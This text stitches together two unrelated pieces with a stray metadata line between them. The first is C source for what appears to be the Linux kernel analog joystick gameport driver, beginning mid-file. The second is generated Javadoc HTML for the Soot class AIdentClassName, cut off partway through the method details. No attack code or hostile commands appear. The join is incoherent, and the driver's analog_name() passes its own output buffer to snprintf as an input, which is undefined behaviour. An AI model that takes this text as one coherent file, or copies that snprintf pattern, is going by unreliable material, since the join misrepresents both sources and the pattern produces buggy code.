GET_TIME(x) rdtscl(x) #define DELTA(x,y) ((y)-(x)) #define TIME_NAME "TSC" #elif defined(__alpha__) #define GET_TIME(x) do { x = get_cycles(); } while (0) #define DELTA(x,y) ((y)-(x)) #define TIME_NAME "PCC" #elif defined(CONFIG_MN10300) #define GET_TIME(x) do { x = get_cycles(); } while (0) #define DELTA(x, y) ((x) - (y)) #define TIME_NAME "TSC" #else #define FAKE_TIME static unsigned long analog_faketime = 0; #define GET_TIME(x) do { x = analog_faketime++; } while(0) #define DELTA(x,y) ((y)-(x)) #define TIME_NAME "Unreliable" #warning Precise timer not defined for this architecture. #endif /* * analog_decode() decodes analog joystick data and reports input events. */ static void analog_decode(struct analog *analog, int *axes, int *initial, int buttons) { struct input_dev *dev = analog->dev; int i, j; if (analog->mask & ANALOG_HAT_FCS) for (i = 0; i < 4; i++) if (axes[3] < ((initial[3] * ((i << 1) + 1)) >> 3)) { buttons |= 1 << (i + 14); break; } for (i = j = 0; i < 6; i++) if (analog->mask & (0x10 << i)) input_report_key(dev, analog->buttons[j++], (buttons >> i) & 1); if (analog->mask & ANALOG_HBTN_CHF) for (i = 0; i < 4; i++) input_report_key(dev, analog->buttons[j++], (buttons >> (i + 10)) & 1); if (analog->mask & ANALOG_BTN_TL) input_report_key(dev, analog_pads[0], axes[2] < (initial[2] >> 1)); if (analog->mask & ANALOG_BTN_TR) input_report_key(dev, analog_pads[1], axes[3] < (initial[3] >> 1)); if (analog->mask & ANALOG_BTN_TL2) input_report_key(dev, analog_pads[2], axes[2] > (initial[2] + (initial[2] >> 1))); if (analog->mask & ANALOG_BTN_TR2) input_report_key(dev, analog_pads[3], axes[3] > (initial[3] + (initial[3] >> 1))); for (i = j = 0; i < 4; i++) if (analog->mask & (1 << i)) input_report_abs(dev, analog_axes[j++], axes[i]); for (i = j = 0; i < 3; i++) if (analog->mask & analog_exts[i]) { input_report_abs(dev, analog_hats[j++], ((buttons >> ((i << 2) + 7)) & 1) - ((buttons >> ((i << 2) + 9)) & 1)); input_report_abs(dev, analog_hats[j++], ((buttons >> ((i << 2) + 8)) & 1) - ((buttons >> ((i << 2) + 6)) & 1)); } input_sync(dev); } /* * analog_cooked_read() reads analog joystick data. */ static int analog_cooked_read(struct analog_port *port) { struct gameport *gameport = port->gameport; unsigned int time[4], start, loop, now, loopout, timeout; unsigned char data[4], this, last; unsigned long flags; int i, j; loopout = (ANALOG_LOOP_TIME * port->loop) / 1000; timeout = ANALOG_MAX_TIME * port->speed; local_irq_save(flags); gameport_trigger(gameport); GET_TIME(now); local_irq_restore(flags); start = now; this = port->mask; i = 0; do { loop = now; last = this; local_irq_disable(); this = gameport_read(gameport) & port->mask; GET_TIME(now); local_irq_restore(flags); if ((last ^ this) && (DELTA(loop, now) < loopout)) { data[i] = last ^ this; time[i] = now; i++; } } while (this && (i < 4) && (DELTA(start, now) < timeout)); this <<= 4; for (--i; i >= 0; i--) { this |= data[i]; for (j = 0; j < 4; j++) if (data[i] & (1 << j)) port->axes[j] = (DELTA(start, time[i]) << ANALOG_FUZZ_BITS) / port->loop; } return -(this != port->mask); } static int analog_button_read(struct analog_port *port, char saitek, char chf) { unsigned char u; int t = 1, i = 0; int strobe = gameport_time(port->gameport, ANALOG_SAITEK_TIME); u = gameport_read(port->gameport); if (!chf) { port->buttons = (~u >> 4) & 0xf; return 0; } port->buttons = 0; while ((~u & 0xf0) && (i < 16) && t) { port->buttons |= 1 << analog_chf[(~u >> 4) & 0xf]; if (!saitek) return 0; udelay(ANALOG_SAITEK_DELAY); t = strobe; gameport_trigger(port->gameport); while (((u = gameport_read(port->gameport)) & port->mask) && t) t--; i++; } return -(!t || (i == 16)); } /* * analog_poll() repeatedly polls the Analog joysticks. */ static void analog_poll(struct gameport *gameport) { struct analog_port *port = gameport_get_drvdata(gameport); int i; char saitek = !!(port->analog[0].mask & ANALOG_SAITEK); char chf = !!(port->analog[0].mask & ANALOG_ANY_CHF); if (port->cooked) { port->bads -= gameport_cooked_read(port->gameport, port->axes, &port->buttons); if (chf) port->buttons = port->buttons ? (1 << analog_chf[port->buttons]) : 0; port->reads++; } else { if (!port->axtime--) { port->bads -= analog_cooked_read(port); port->bads -= analog_button_read(port, saitek, chf); port->reads++; port->axtime = ANALOG_AXIS_TIME - 1; } else { if (!saitek) analog_button_read(port, saitek, chf); } } for (i = 0; i < 2; i++) if (port->analog[i].mask) analog_decode(port->analog + i, port->axes, port->initial, port->buttons); } /* * analog_open() is a callback from the input open routine. */ static int analog_open(struct input_dev *dev) { struct analog_port *port = input_get_drvdata(dev); gameport_start_polling(port->gameport); return 0; } /* * analog_close() is a callback from the input close routine. */ static void analog_close(struct input_dev *dev) { struct analog_port *port = input_get_drvdata(dev); gameport_stop_polling(port->gameport); } /* * analog_calibrate_timer() calibrates the timer and computes loop * and timeout values for a joystick port. */ static void analog_calibrate_timer(struct analog_port *port) { struct gameport *gameport = port->gameport; unsigned int i, t, tx, t1, t2, t3; unsigned long flags; local_irq_save(flags); GET_TIME(t1); #ifdef FAKE_TIME analog_faketime += 830; #endif mdelay(1); GET_TIME(t2); GET_TIME(t3); local_irq_restore(flags); port->speed = DELTA(t1, t2) - DELTA(t2, t3); tx = ~0; for (i = 0; i < 50; i++) { local_irq_save(flags); GET_TIME(t1); for (t = 0; t < 50; t++) { gameport_read(gameport); GET_TIME(t2); } GET_TIME(t3); local_irq_restore(flags); udelay(i); t = DELTA(t1, t2) - DELTA(t2, t3); if (t < tx) tx = t; } port->loop = tx / 50; } /* * analog_name() constructs a name for an analog joystick. */ static void analog_name(struct analog *analog) { snprintf(analog->name, sizeof(analog->name), "Analog %d-axis %d-button", hweight8(analog->mask & ANALOG_AXES_STD), hweight8(analog->mask & ANALOG_BTNS_STD) + !!(analog->mask & ANALOG_BTNS_CHF) * 2 + hweight16(analog->mask & ANALOG_BTNS_GAMEPAD) + !!(analog->mask & ANALOG_HBTN_CHF) * 4); if (analog->mask & ANALOG_HATS_ALL) snprintf(analog->name, sizeof(analog->name), "%s %d-hat", analog->name, hweight16(analog->mask & ANALOG_HATS_ALL)); if (analog->mask & ANALOG_HAT_FCS) strlcat(analog->name, " FCS", sizeof(analog->name)); if (analog->mask & ANALOG_ANY_CHF) strlcat(analog->name, (analog->mask & ANALOG_SAITEK) ? " Saitek" : " CHF", sizeof(analog->name)); strlcat(analog->name, (analog->mask & ANALOG_GAMEPAD) ? " gamepad": " joystick", sizeof(analog->name)); } /* * analog_init_device() */ static int analog_init_device(struct analog_port *port, struct analog *analog, int index) { struct input_dev *input_dev; int i, j, t, v, w, x, y, z; int error; analog_name(analog); snprintf(analog->phys, sizeof(analog->phys), "%s/input%d", port->gameport->phys, index); analog->buttons = (analog->mask & ANALOG_GAMEPAD) ? analog_pad_btn : analog_joy_btn; analog->dev = input_dev = input_allocate_device(); if (!input_dev) return -ENOMEM; input_dev->name = analog->name; input_dev->phys = analog->phys; input_dev->id.bustype = BUS_GAMEPORT; input_dev->id.vendor = GAMEPORT_ID_VENDOR_ANALOG; input_dev->id.product = analog->mask >> 4; input_dev->id.version = 0x0100; input_dev->dev.parent = &port->gameport->dev; input_set_drvdata(input_dev, port); input_dev->open = analog_open; input_dev->close = analog_close; input_dev->evbit[0] = BIT_MASK(EV_KEY) | BIT_MASK(EV_ABS); for (i = j = 0; i < 4; i++) if (analog->mask & (1 << i)) { t = analog_axes[j]; x = port->axes[i]; y = (port->axes[0] + port->axes[1]) >> 1; z = y - port->axes[i]; z = z > 0 ? z : -z; v = (x >> 3); w = (x >> 3); if ((i == 2 || i == 3) && (j == 2 || j == 3) && (z > (y >> 3))) x = y; if (analog->mask & ANALOG_SAITEK) { if (i == 2) x = port->axes[i]; v = x - (x >> 2); w = (x >> 4); } input_set_abs_params(input_dev, t, v, (x << 1) - v, port->fuzz, w); j++; } for (i = j = 0; i < 3; i++) if (analog->mask & analog_exts[i]) for (x = 0; x < 2; x++) { t = analog_hats[j++]; input_set_abs_params(input_dev, t, -1, 1, 0, 0); } for (i = j = 0; i < 4; i++) if (analog->mask & (0x10 << i)) set_bit(analog->buttons[j++], input_dev->keybit); if (analog->mask & ANALOG_BTNS_CHF) for (i = 0; i < 2; i++) set_bit(analog->buttons[j++], input_dev->keybit); if (analog->mask & ANALOG_HBTN_CHF) for (i = 0; i < 4; i++) set_bit(analog->buttons[j++], input_dev->keybit); for (i = 0; i < 4; i++) if (analog->mask & (ANALOG_BTN_TL << i)) set_bit(analog_pads[i], input_dev->keybit); analog_decode(analog, port->axes, port->initial, port->buttons); error = input_register_device(analog->dev); if (error) { input_free_device(analog->dev); return error; } return 0; } /* * analog_init_devices() sets up device-specific values and registers the input devices. */ static int analog_init_masks(struct analog_port *port) { int i; struct analog *analog = port->analog; int max[4]; if (!port->mask) return -1; if ((port->mask & 3) != 3 && port->mask != 0xc) { printk(KERN_WARNING "analog.c: Unknown joystick device found " "(data=%#x, %s), probably not analog joystick.\n", port->mask, port->gameport->phys); return -1; } i = analog_options[0]; /* FIXME !!! - need to specify options for different ports */ analog[0].mask = i & 0xfffff; analog[0].mask &= ~(ANALOG_AXES_STD | ANALOG_HAT_FCS | ANALOG_BTNS_GAMEPAD) | port->mask | ((port->mask << 8) & ANALOG_HAT_FCS) | ((port->mask << 10) & ANALOG_BTNS_TLR) | ((port->mask << 12) & ANALOG_BTNS_TLR2); analog[0].mask &= ~(ANALOG_HAT2_CHF) | ((analog[0].mask & ANALOG_HBTN_CHF) ? 0 : ANALOG_HAT2_CHF); analog[0].mask &= ~(ANALOG_THROTTLE | ANALOG_BTN_TR | ANALOG_BTN_TR2) | ((~analog[0].mask & ANALOG_HAT_FCS) >> 8) | ((~analog[0].mask & ANALOG_HAT_FCS) << 2) | ((~analog[0].mask & ANALOG_HAT_FCS) << 4); analog[0].mask &= ~(ANALOG_THROTTLE | ANALOG_RUDDER) | (((~analog[0].mask & ANALOG_BTNS_TLR ) >> 10) & ((~analog[0].mask & ANALOG_BTNS_TLR2) >> 12)); analog[1].mask = ((i >> 20) & 0xff) | ((i >> 12) & 0xf0000); analog[1].mask &= (analog[0].mask & ANALOG_EXTENSIONS) ? ANALOG_GAMEPAD : (((ANALOG_BTNS_STD | port->mask) & ~analog[0].mask) | ANALOG_GAMEPAD); if (port->cooked) { for (i = 0; i < 4; i++) max[i] = port->axes[i] << 1; if ((analog[0].mask & 0x7) == 0x7) max[2] = (max[0] + max[1]) >> 1; if ((analog[0].mask & 0xb) == 0xb) max[3] = (max[0] + max[1]) >> 1; if ((analog[0].mask & ANALOG_BTN_TL) && !(analog[0].mask & ANALOG_BTN_TL2)) max[2] >>= 1; if ((analog[0].mask & ANALOG_BTN_TR) && !(analog[0].mask & ANALOG_BTN_TR2)) max[3] >>= 1; if ((analog[0].mask & ANALOG_HAT_FCS)) max[3] >>= 1; gameport_calibrate(port->gameport, port->axes, max); } for (i = 0; i < 4; i++) port->initial[i] = port->axes[i]; return -!(analog[0].mask || analog[1].mask); } static int analog_init_port(struct gameport *gameport, struct gameport_driver *drv, struct analog_port *port) { int i, t, u, v; port->gameport = gameport; gameport_set_drvdata(gameport, port); if (!gameport_open(gameport, drv, GAMEPORT_MODE_RAW)) { analog_calibrate_timer(port); gameport_trigger(gameport); t = gameport_read(gameport); msleep(ANALOG_MAX_TIME); port->mask = (gameport_read(gameport) ^ t) & t & 0xf; port->fuzz = (port->speed * ANALOG_FUZZ_MAGIC) / port->loop / 1000 + ANALOG_FUZZ_BITS; for (i = 0; i < ANALOG_INIT_RETRIES; i++) { if (!analog_cooked_read(port)) break; msleep(ANALOG_MAX_TIME); } u = v = 0; msleep(ANALOG_MAX_TIME); t = gameport_time(gameport, ANALOG_MAX_TIME * 1000); gameport_trigger(gameport); while ((gameport_read(port->gameport) & port->mask) && (u < t)) u++; udelay(ANALOG_SAITEK_DELAY); t = gameport_time(gameport, ANALOG_SAITEK_TIME); gameport_trigger(gameport); while ((gameport_read(port->gameport) & port->mask) && (v < t)) v++; if (v < (u >> 1)) { /* FIXME - more than one port */ analog_options[0] |= /* FIXME - more than one port */ ANALOG_SAITEK | ANALOG_BTNS_CHF | ANALOG_HBTN_CHF | ANALOG_HAT1_CHF; return 0; } gameport_close(gameport); } if (!gameport_open(gameport, drv, GAMEPORT_MODE_COOKED)) { for (i = 0; i < ANALOG_INIT_RETRIES; i++) if (!gameport_cooked_read(gameport, port->axes, &port->buttons)) break; for (i = 0; i < 4; i++) if (port->axes[i] != -1) port->mask |= 1 << i; port->fuzz = gameport->fuzz; port->cooked = 1; return 0; } return gameport_open(gameport, drv, GAMEPORT_MODE_RAW); } static int analog_connect(struct gameport *gameport, struct gameport_driver *drv) { struct analog_port *port; int i; int err; if (!(port = kzalloc(sizeof(struct analog_port), GFP_KERNEL))) return - ENOMEM; err = analog_init_port(gameport, drv, port); if (err) goto fail1; err = analog_init_masks(port); if (err) goto fail2; gameport_set_poll_handler(gameport, analog_poll); gameport_set_poll_interval(gameport, 10); for (i = 0; i < 2; i++) if (port->analog[i].mask) { err = analog_init_device(port, port->analog + i, i); if (err) goto fail3; } return 0; fail3: while (--i >= 0) if (port->analog[i].mask) input_unregister_device(port->analog[i].dev); fail2: gameport_close(gameport); fail1: gameport_set_drvdata(gameport, NULL); kfree(port); return err; } static void analog_disconnect(struct gameport *gameport) { struct analog_port *port = gameport_get_drvdata(gameport); int i; for (i = 0; i < 2; i++) if (port->analog[i].mask) input_unregister_device(port->analog[i].dev); gameport_close(gameport); gameport_set_drvdata(gameport, NULL); printk(KERN_INFO "analog.c: %d out of %d reads (%d%%) on %s failed\n", port->bads, port->reads, port->reads ? (port->bads * 100 / port->reads) : 0, port->gameport->phys); kfree(port); } struct analog_types { char *name; int value; }; static struct analog_types analog_types[] = { { "none", 0x00000000 }, { "auto", 0x000000ff }, { "2btn", 0x0000003f }, { "y-joy", 0x0cc00033 }, { "y-pad", 0x8cc80033 }, { "fcs", 0x000008f7 }, { "chf", 0x000002ff }, { "fullchf", 0x000007ff }, { "gamepad", 0x000830f3 }, { "gamepad8", 0x0008f0f3 }, { NULL, 0 } }; static void analog_parse_options(void) { int i, j; char *end; for (i = 0; i < js_nargs; i++) { for (j = 0; analog_types[j].name; j++) if (!strcmp(analog_types[j].name, js[i])) { analog_options[i] = analog_types[j].value; break; } if (analog_types[j].name) continue; analog_options[i] = simple_strtoul(js[i], &end, 0); if (end != js[i]) continue; analog_options[i] = 0xff; if (!strlen(js[i])) continue; printk(KERN_WARNING "analog.c: Bad config for port %d - \"%s\"\n", i, js[i]); } for (; i < ANALOG_PORTS; i++) analog_options[i] = 0xff; } /* * The gameport device structure. */ static struct gameport_driver analog_drv = { .driver = { .name = "analog", }, .description = DRIVER_DESC, .connect = analog_connect, .disconnect = analog_disconnect, }; static int __init analog_init(void) { analog_parse_options(); return gameport_register_driver(&analog_drv); } static void __exit analog_exit(void) { gameport_unregister_driver(&analog_drv); } module_init(analog_init); module_exit(analog_exit);
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!--NewPage--> <HTML> <HEAD> <!-- Generated by javadoc (build 1.5.0_08) on Tue Jun 03 16:15:15 GMT-05:00 2008 --> <TITLE> AIdentClassName (Soot API) </TITLE> <META NAME="keywords" CONTENT="soot.jimple.parser.node.AIdentClassName class"> <LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../stylesheet.css" TITLE="Style"> <SCRIPT type="text/javascript"> function windowTitle() { parent.document.title="AIdentClassName (Soot API)"; } </SCRIPT> <NOSCRIPT> </NOSCRIPT> </HEAD> <BODY BGCOLOR="white" onload="windowTitle();"> <!-- ========= START OF TOP NAVBAR ======= --> <A NAME="navbar_top"><!-- --></A> <A HREF="#skip-navbar_top" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_top_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/AIdentClassName.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> </EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;<A HREF="../../../../soot/jimple/parser/node/AGotoStmt.html" title="class in soot.jimple.parser.node"><B>PREV CLASS</B></A>&nbsp; &nbsp;<A HREF="../../../../soot/jimple/parser/node/AIdentityNoTypeStatement.html" title="class in soot.jimple.parser.node"><B>NEXT CLASS</B></A></FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../../index.html?soot/jimple/parser/node/AIdentClassName.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="AIdentClassName.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> <TR> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY:&nbsp;NESTED&nbsp;|&nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> DETAIL:&nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_top"></A> <!-- ========= END OF TOP NAVBAR ========= --> <HR> <!-- ======== START OF CLASS DATA ======== --> <H2> <FONT SIZE="-1"> soot.jimple.parser.node</FONT> <BR> Class AIdentClassName</H2> <PRE> <A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html" title="class or interface in java.lang">java.lang.Object</A> <IMG SRC="../../../../resources/inherit.gif" ALT="extended by "><A HREF="../../../../soot/jimple/parser/node/Node.html" title="class in soot.jimple.parser.node">soot.jimple.parser.node.Node</A> <IMG SRC="../../../../resources/inherit.gif" ALT="extended by "><A HREF="../../../../soot/jimple/parser/node/PClassName.html" title="class in soot.jimple.parser.node">soot.jimple.parser.node.PClassName</A> <IMG SRC="../../../../resources/inherit.gif" ALT="extended by "><B>soot.jimple.parser.node.AIdentClassName</B> </PRE> <DL> <DT><B>All Implemented Interfaces:</B> <DD><A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Cloneable.html" title="class or interface in java.lang">Cloneable</A>, <A HREF="../../../../soot/jimple/parser/node/Switchable.html" title="interface in soot.jimple.parser.node">Switchable</A></DD> </DL> <HR> <DL> <DT><PRE>public final class <B>AIdentClassName</B><DT>extends <A HREF="../../../../soot/jimple/parser/node/PClassName.html" title="class in soot.jimple.parser.node">PClassName</A></DL> </PRE> <P> <HR> <P> <!-- ======== CONSTRUCTOR SUMMARY ======== --> <A NAME="constructor_summary"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> <B>Constructor Summary</B></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE><B><A HREF="../../../../soot/jimple/parser/node/AIdentClassName.html#AIdentClassName()">AIdentClassName</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE><B><A HREF="../../../../soot/jimple/parser/node/AIdentClassName.html#AIdentClassName(soot.jimple.parser.node.TIdentifier)">AIdentClassName</A></B>(<A HREF="../../../../soot/jimple/parser/node/TIdentifier.html" title="class in soot.jimple.parser.node">TIdentifier</A>&nbsp;_identifier_)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp; <!-- ========== METHOD SUMMARY =========== --> <A NAME="method_summary"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> <B>Method Summary</B></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../../soot/jimple/parser/node/AIdentClassName.html#apply(soot.jimple.parser.node.Switch)">apply</A></B>(<A HREF="../../../../soot/jimple/parser/node/Switch.html" title="interface in soot.jimple.parser.node">Switch</A>&nbsp;sw)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;<A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html" title="class or interface in java.lang">Object</A></CODE></FONT></TD> <TD><CODE><B><A HREF="../../../../soot/jimple/parser/node/AIdentClassName.html#clone()">clone</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;<A HREF="../../../../soot/jimple/parser/node/TIdentifier.html" title="class in soot.jimple.parser.node">TIdentifier</A></CODE></FONT></TD> <TD><CODE><B><A HREF="../../../../soot/jimple/parser/node/AIdentClassName.html#getIdentifier()">getIdentifier</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../../soot/jimple/parser/node/AIdentClassName.html#setIdentifier(soot.jimple.parser.node.TIdentifier)">setIdentifier</A></B>(<A HREF="../../../../soot/jimple/parser/node/TIdentifier.html" title="class in soot.jimple.parser.node">TIdentifier</A>&nbsp;node)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;<A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/String.html" title="class or interface in java.lang">String</A></CODE></FONT></TD> <TD><CODE><B><A HREF="../../../../soot/jimple/parser/node/AIdentClassName.html#toString()">toString</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp;<A NAME="methods_inherited_from_class_soot.jimple.parser.node.Node"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"> <TH ALIGN="left"><B>Methods inherited from class soot.jimple.parser.node.<A HREF="../../../../soot/jimple/parser/node/Node.html" title="class in soot.jimple.parser.node">Node</A></B></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE><A HREF="../../../../soot/jimple/parser/node/Node.html#cloneList(java.util.List)">cloneList</A>, <A HREF="../../../../soot/jimple/parser/node/Node.html#cloneNode(soot.jimple.parser.node.Node)">cloneNode</A>, <A HREF="../../../../soot/jimple/parser/node/Node.html#parent()">parent</A>, <A HREF="../../../../soot/jimple/parser/node/Node.html#replaceBy(soot.jimple.parser.node.Node)">replaceBy</A>, <A HREF="../../../../soot/jimple/parser/node/Node.html#toString(java.util.List)">toString</A>, <A HREF="../../../../soot/jimple/parser/node/Node.html#toString(soot.jimple.parser.node.Node)">toString</A></CODE></TD> </TR> </TABLE> &nbsp;<A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"> <TH ALIGN="left"><B>Methods inherited from class java.lang.<A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html" title="class or interface in java.lang">Object</A></B></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE><A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html#equals(java.lang.Object)" title="class or interface in java.lang">equals</A>, <A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html#finalize()" title="class or interface in java.lang">finalize</A>, <A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html#getClass()" title="class or interface in java.lang">getClass</A>, <A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html#hashCode()" title="class or interface in java.lang">hashCode</A>, <A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html#notify()" title="class or interface in java.lang">notify</A>, <A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html#notifyAll()" title="class or interface in java.lang">notifyAll</A>, <A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html#wait()" title="class or interface in java.lang">wait</A>, <A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html#wait(long)" title="class or interface in java.lang">wait</A>, <A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html#wait(long, int)" title="class or interface in java.lang">wait</A></CODE></TD> </TR> </TABLE> &nbsp; <P> <!-- ========= CONSTRUCTOR DETAIL ======== --> <A NAME="constructor_detail"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2"> <B>Constructor Detail</B></FONT></TH> </TR> </TABLE> <A NAME="AIdentClassName()"><!-- --></A><H3> AIdentClassName</H3> <PRE> public <B>AIdentClassName</B>()</PRE> <DL> </DL> <HR> <A NAME="AIdentClassName(soot.jimple.parser.node.TIdentifier)"><!-- --></A><H3> AIdentClassName</H3> <PRE> public <B>AIdentClassName</B>(<A HREF="../../../../soot/jimple/parser/node/TIdentifier.html" title="class in soot.jimple.parser.node">TIdentifier</A>&nbsp;_identifier_)</PRE> <DL> </DL> <!-- ============ METHOD DETAIL ========== --> <A NAME="method_detail"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2"> <B>Method Detail</B></FONT></TH> </TR> </TABLE> <A NAME="clone()"><!-- --></A><H3> clone</H3> <PRE> public <A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html" title="class or interface in java.lang">Object</A> <B>clone</B>()</PRE> <DL> <DD><DL> <DT><B>Specified by:</B><DD><CODE><A HREF="../../../../soot/jimple/parser/node/Node.html#clone()">clone</A></CODE> in class <CODE><A HREF="../../../../soot/jimple/parser/node/Node.html" title="class in soot.jimple.parser.node">Node</A></CODE></DL> </DD> 